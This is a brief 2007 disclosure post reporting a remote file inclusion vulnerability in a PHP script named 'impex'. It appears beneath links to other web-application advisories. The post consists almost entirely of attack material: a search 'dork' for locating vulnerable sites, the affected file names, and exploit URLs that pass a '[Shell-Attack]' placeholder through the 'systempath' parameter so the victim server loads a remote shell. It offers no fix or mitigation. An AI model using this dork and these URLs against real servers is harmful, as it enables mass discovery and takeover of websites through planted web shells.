Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Kayako eSupport v3.00.90 Cross Site Scripting (XSS)

Drake CMS (v0.4.0) - CRLF Injection Vulnerability

UPDATED: CubeCart (v3.0.15) - CRLF Injection Vulnerability

[Full-disclosure] Mini Web Shop v.2 vulnerable to XSS

From:	RaeD Hasadya <raed_(at)_bsdmail.com>
Date:	07.05.2007
Subject:	Remote File Include In Script impex

By Hasadya Raed
Contact : RaeD@BsdMail.Com
Israel
--------------------------
Script : impex
Dork : "ipmex"
--------------------------
B.Files :
ImpExData.php
impexdisplay.php
--------------------------
Exploits :
http://www.Victim.com/impex/ImpExData.php?systempath=[Shell-Attack]

http://www.Victim.com/impex/impexdisplay.php?systempath=[Shell-Attack]